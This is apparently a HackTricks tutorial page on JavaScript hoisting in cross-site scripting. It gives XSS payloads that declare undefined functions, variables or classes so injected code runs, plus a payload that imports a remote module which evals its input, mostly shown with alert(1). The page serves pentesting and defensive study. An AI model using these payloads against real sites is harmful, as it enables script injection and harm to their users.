7.9 KiB
JS Hoisting
Learn AWS hacking from zero to hero with htARTE (HackTricks AWS Red Team Expert)!
Other ways to support HackTricks:
- If you want to see your company advertised in HackTricks or download HackTricks in PDF Check the SUBSCRIPTION PLANS!
- Get the official PEASS & HackTricks swag
- Discover The PEASS Family, our collection of exclusive NFTs
- Join the 💬 Discord group or the telegram group or follow me on Twitter 🐦 @carlospolopm.
- Share your hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.
Basic Information
{% hint style="success" %} JavaScript Hoisting refers to the process whereby the interpreter appears to move the declaration of functions, variables, classes, or imports to the top of their scope, prior to execution of the code. {% endhint %}
JavaScript engine will do (at least two) passes over any script. This is a big simplification, but we can think of JS execution as consisting of two steps. First, the code is parsed, which includes checking for syntax errors and converting it to an abstract syntax tree. This step also includes what we describe as hoisting, where certain forms of declarations are “moved”(hoisted) to the top of the execution stack. If the code passes the parsing step, the engine continues to execute the script.
- Any code (including the injected payload) must adhere to the syntax rules. Nothing will execute if the syntax is invalid anywhere in the final script.
- Where in a script code is placed might have importance, but the text representation of a code snippet is not the same as what is executed by the runtime in the end. Any language might have rules that decide what order expressions are executed.
The four types of hoisting
Returning to MDN’s description of hoisting, we can read that there are four kinds of hoisting in JavaScript. Again, directly from MDN:
- Being able to use a variable’s value in its scope before the line it is declared. (“Value hoisting”)
- Being able to reference a variable in its scope before the line it is declared, without throwing a
ReferenceError
, but the value is alwaysundefined
. (“Declaration hoisting”)- The declaration of the variable causes behavior changes in its scope before the line in which it is declared.
- The side effects of a declaration are produced before evaluating the rest of the code that contains it.
followed by
The four function declarations above are hoisted with type 1 behavior;
var
declaration is hoisted with type 2 behavior;let
,const
, andclass
declarations (also collectively called lexical declarations) are hoisted with type 3 behavior;import
declarations are hoisted with type 1 and type 4 behavior.
Scenarios
Therefore if you have scenarios where you can Inject JS code after an undeclared object is used, you could fix the syntax by declaring it (so your code gets executed instead of throwing an error):
// The function vulnerableFunction is not defined
vulnerableFunction('test', '<INJECTION>');
// You can define it in your injection to execute JS
//Payload1: param='-alert(1)-'')%3b+function+vulnerableFunction(a,b){return+1}%3b
'-alert(1)-''); function vulnerableFunction(a,b){return 1};
//Payload2: param=test')%3bfunction+vulnerableFunction(a,b){return+1}%3balert(1)
test'); function vulnerableFunction(a,b){ return 1 };alert(1)
// If a variable is not defined, you could define it in the injection
// In the following example var a is not defined
function myFunction(a,b){
return 1
};
myFunction(a, '<INJECTION>')
//Payload: param=test')%3b+var+a+%3d+1%3b+alert(1)%3b
test'); var a = 1; alert(1);
// If an undeclared class is used, you cannot declare it AFTER being used
var variable = new unexploitableClass();
<INJECTION>
// But you can actually declare it as a function, being able to fix the syntax with something like:
function unexploitableClass() {
return 1;
}
alert(1);
// Properties are not hoisted
// So the following examples where the 'cookie' attribute doesn´t exist
// cannot be fixed if you can only inject after that code:
test.cookie('leo','INJECTION')
test['cookie','injection']
More Scenarios
// Undeclared var accessing to an undeclared method
x.y(1,INJECTION)
// You can inject
alert(1));function x(){}//
// And execute the allert with (the alert is resolved before it's detected that the "y" is undefined
x.y(1,alert(1));function x(){}//)
// Undeclared var accessing 2 nested undeclared method
x.y.z(1,INJECTION)
// You can inject
");import {x} from "https://example.com/module.js"//
// It will be executed
x.y.z("alert(1)");import {x} from "https://example.com/module.js"//")
// The imported module:
// module.js
var x = {
y: {
z: function(param) {
eval(param);
}
}
};
export { x };
// In this final scenario from https://joaxcar.com/blog/2023/12/13/having-some-fun-with-javascript-hoisting/
// It was injected the: let config;`-alert(1)`//`
// With the goal of making in the block the var config be empty, so the return is not executed
// And the same injection was replicated in the body URL to execute an alert
try {
if(config){
return;
}
// TODO handle missing config for: https://try-to-catch.glitch.me/"+`
let config;`-alert(1)`//`+"
} catch {
fetch("/error", {
method: "POST",
body: {
url:"https://try-to-catch.glitch.me/"+`
let config;`-alert(1)-`//`+""
}
})
}
References
- https://jlajara.gitlab.io/Javascript_Hoisting_in_XSS_Scenarios
- https://developer.mozilla.org/en-US/docs/Glossary/Hoisting
- https://joaxcar.com/blog/2023/12/13/having-some-fun-with-javascript-hoisting/
Learn AWS hacking from zero to hero with htARTE (HackTricks AWS Red Team Expert)!
Other ways to support HackTricks:
- If you want to see your company advertised in HackTricks or download HackTricks in PDF Check the SUBSCRIPTION PLANS!
- Get the official PEASS & HackTricks swag
- Discover The PEASS Family, our collection of exclusive NFTs
- Join the 💬 Discord group or the telegram group or follow me on Twitter 🐦 @carlospolopm.
- Share your hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.